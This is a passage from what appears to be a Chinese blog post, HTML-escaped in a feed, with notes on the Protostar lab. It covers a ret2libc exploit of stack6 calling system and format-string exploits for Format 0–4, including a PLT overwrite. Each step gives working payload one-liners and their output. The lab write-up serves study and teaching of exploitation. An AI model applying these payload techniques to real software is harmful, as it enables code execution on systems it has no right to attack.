&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;gdb&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; system&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;$2&lt;&#x2F;span&gt;&lt;span&gt; = {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0xb7ecffb0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;__libc_syste&lt;&#x2F;span&gt;&lt;span&gt;m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;果然有东西。system是C里面的一个函数，通常的用法是这样的：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; main&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; &#x2F;&#x2F;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; system&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;whoami&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; &#x2F;&#x2F;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;源程序虽然检查了返回地址，但只是要求返回地址不得位于栈中。我们只要让他去调用system（Question：这个system是位于哪里的？），然后传进去自己的参数就ok了。注意到有一个bzzzt的提示，可以提醒数据已经到了边界，所以确定下地址：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;user@protostar:&#x2F;opt&#x2F;protostar&#x2F;bin$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; perl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;print &amp;quot;\xbf\x67\x68\x69&amp;quot;x20 . &amp;quot;\xbf\xbf\xbf\xbf&amp;quot;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; .&#x2F;stack6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; path please: bzzzt&lt;&#x2F;span&gt;&lt;span&gt; (0xbfbfbfbf)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;少一组就不好用，多一组就segmentation error。Bingo！可供我们填充的字节为0x50个，之后的四个字节就是返回地址了。那么exp布局如下：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#&amp;lt;&#x2F;usr&#x2F;bin&#x2F;whoami&amp;gt;.&amp;lt;fillings(and here is end)&amp;gt;.&amp;lt;0xb7ecffb0&amp;gt;.&amp;lt;0xb7ec60c0&amp;gt;.&amp;lt;0xbffff7fc&amp;gt;.&amp;lt;0x04198906&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;user@protostar:&#x2F;opt&#x2F;protostar&#x2F;bin$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; perl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;print &amp;quot;&#x2F;usr&#x2F;bin&#x2F;whoami;#&amp;quot; . &amp;quot;F&amp;quot;x63 . &amp;quot;\xb0\xff\xec\xb7&amp;quot; . &amp;quot;\xc0\x60\xec\xb7&amp;quot; . &amp;quot;\xfc\xf7\xff\xbf&amp;quot; . &amp;quot;\x06\x89\x19\x04&amp;quot;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; .&#x2F;stack6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;解释下。根据&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;www.nasm.us&#x2F;xdoc&#x2F;2.09.04&#x2F;html&#x2F;nasmdoc9.html&quot;&gt;这里&lt;&#x2F;a&gt;的说明，被调用函数所看到的栈中的情况是：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; |FFFFFFFF|------------------&amp;gt;|00000000|&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; |ret addr| param 1 | param 2 |........|&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;调用&lt;code&gt;system()&lt;&#x2F;code&gt;的时候，需要下一条指令执行&lt;code&gt;exit()&lt;&#x2F;code&gt;，并且带有一个字符串指针作为参数；调用&lt;code&gt;exit()&lt;&#x2F;code&gt;之后，下一条指令是什么对我们并没有什么卵用（因为退出了），只要保证给一个退出的值就可以了。检查转储文件后可以发现，我们的输入数据是从&lt;code&gt;0xbffff7fc&lt;&#x2F;code&gt;处开始存放的，因此就有了这个exp。&lt;&#x2F;p&gt;
&lt;p&gt;之后回头看了下protostar上的文档，发现这个检查实际是利用的 &lt;a href=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;protostar-notes&#x2F;%22https:&#x2F;&#x2F;gcc.gnu.org&#x2F;onlinedocs&#x2F;gcc&#x2F;Return-Address.html%22&quot;&gt;__builtin_return_address&lt;&#x2F;a&gt; 这个函数检查栈帧。留下备用~&lt;&#x2F;p&gt;
&lt;h4 id=&quot;level-7&quot;&gt;Level 7&lt;&#x2F;h4&gt;
&lt;p&gt;目前并没做出来。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;4&#x2F;29&#x2F;2015更新
参考了其他人的做法，是找到不会被限制的一个ret。之前都是通过覆写栈来覆盖返回地址的方法，ret后执行目标代码，换句话说是控制PC的值。那么让第一次ret出的地址指向另一个ret，而跳转目标的地址恰好在执行第一个ret前的[esp+0x08]处，就可以绕过对[esp+0x04]的检查。&lt;&#x2F;p&gt;
&lt;p&gt;但是……有没有其他有趣的方法呢？&lt;&#x2F;p&gt;
&lt;p&gt;走到死路口之前先不写这种方法的poc了。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;4&#x2F;30&#x2F;2015更新
double ret&lt;&#x2F;p&gt;
&lt;h3 id=&quot;format-0-4&quot;&gt;Format[0..4]&lt;&#x2F;h3&gt;
&lt;p&gt;这组练习均是有关于&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Uncontrolled_format_string&quot;&gt;格式化字符串漏洞&lt;&#x2F;a&gt;的。如果你刚开始学习C语言，还应该参考下维基百科上关于&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Printf_format_string&quot;&gt;格式化字符串&lt;&#x2F;a&gt;的有关文章。&lt;&#x2F;p&gt;
&lt;p&gt;总体上看，这类漏洞的根源在于POSIX标准中的变参函数。我们都知道，stdcall调用方式是通过将参数压入栈中完成参数传递的，而被调用的函数应该从栈中取出各参数。而POSIX标准为了支持变参函数，提供了va_start、va_end、va_arg和va_list用来支持其工作。然而，在标准中，对函数参数个数的传递并没有要求，因此被调用函数需要&lt;strong&gt;自行决定&lt;&#x2F;strong&gt;取出多少参数。&lt;&#x2F;p&gt;
&lt;p&gt;这种情况下，printf等处理格式化字符串的方法是，对格式化字符串中的字符分别处理，遇到特定的转义字符（如%d、%c等等）后再调用va_arg从栈中取出函数。这种方式的问题在于，当格式化字符串可以被控制时，内存里的内容也就可以被随意读取了。此外，由于printf函数提供了%n用来向某个参数内写入数值，这造成了对内存的任意写。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;format-0&quot;&gt;Format 0&lt;&#x2F;h4&gt;
&lt;p&gt;程序逻辑是，将输入的字符串解析之后，输出结果送至到另一个字符串中，之后检测某个特定位置的值是否为deadbeef。因此，我们只要做好padding即可：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;.&#x2F;format0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;python&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;print &amp;quot;%64d\xef\xbe\xad\xde&amp;quot;&amp;#39;`&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;format-1&quot;&gt;Format 1&lt;&#x2F;h4&gt;
&lt;p&gt;程序读入启动参数并展示，而要求我们修改内存中指定地址处的值。修改值需要用到%n，它接受的参数是一个指向可写内存区域的地址。因此可以这样先找出我们的地址：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;1..300}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; do&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; .&#x2F;format1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -ne&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;\x38\x96\x04\x08%&lt;&#x2F;span&gt;&lt;span&gt;$i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span&gt;$x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;`&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; done&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; nl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; grep&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 9638&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;   127&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;  88049638&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;构造：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;user@protostar:&#x2F;opt&#x2F;protostar&#x2F;bin$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; .&#x2F;format1 `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -ne&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;\x38\x96\x04\x08%127$n&amp;#39;`&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;8you&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; have modified the target :&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不同机器上，运行结果可能也有不同，这与装载器有关。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;format-2&quot;&gt;Format 2&lt;&#x2F;h4&gt;
&lt;p&gt;这次我们要控制改写的值为0x40=64。%n的作用是将已经显示的字符数写入对应地址处，那么我们要写入64的话，应该加的padding为64-4byte地址=60，则：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;user@protostar:&#x2F;opt&#x2F;protostar&#x2F;bin$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -ne&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;\xe4\x96\x04\x08%060x%4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;n\n&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; .&#x2F;format2&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;鋿000000000000000000000000000000000000000000000000000000000200&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;you&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; have modified the target :&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;format-3&quot;&gt;Format 3&lt;&#x2F;h4&gt;
&lt;p&gt;为了写入0x1025544，我们仍然可以用Format2的方法：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -ne&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;\xf4\x96\x04\x08%16930112c%12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;n&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; .&#x2F;format3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但是，要输出这么多的字符，等待时间太长了。因此，我们每次写入2字节，那么：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -ne&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;\xf6\x96\x04\x08\xf4\x96\x04\x08%21820c%13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;hn%43966c%12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;hn&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;  |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; .&#x2F;format3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -ne&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;\xf6\x96\x04\x08\xf4\x96\x04\x08%250c%12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;hn%21570c%13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;hn&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;  |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; .&#x2F;format3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里我们使用%hn，控制每次写入2字节。几个参数的计算方法如下：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0x1025544 = 0x0102 &amp;lt;&amp;lt; 16 + 0x5544&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0x0102 = 258; 258 - 8 = 250&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0x5544 - 0x0102 = 21570&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Y = 0x218-0x208 = 0x10&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;X = +0x18 + 0x4 = 0x1C&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(X+Y)&#x2F;4+1 = 12 &#x2F;&#x2F;indicates the first one to extract&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;format-4&quot;&gt;Format 4&lt;&#x2F;h4&gt;
&lt;p&gt;为了让程序在printf后，不执行_exit，而去执行hello函数，我们需要改写plt表。关于plt表的相关内容可以参考《程序员的自我修养》一书，这里给出exp：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -ne&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;\x25\x97\x04\x08\x24\x97\x04\x08%033964c%5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;n%0491472c%4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;n\n&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; .&#x2F;format4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但其实，我们只需要修改一个字节就可以达到相同目的：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -ne&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;\x24\x97\x04\x08%33968u%4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\$&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;hn&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; .&#x2F;format4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;....&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;code&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; execution redirected! you win&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意，这里为了防止地址被破坏，还是需要写入两个字节。&lt;&#x2F;p&gt;
</content>
        
    </entry>
</feed>
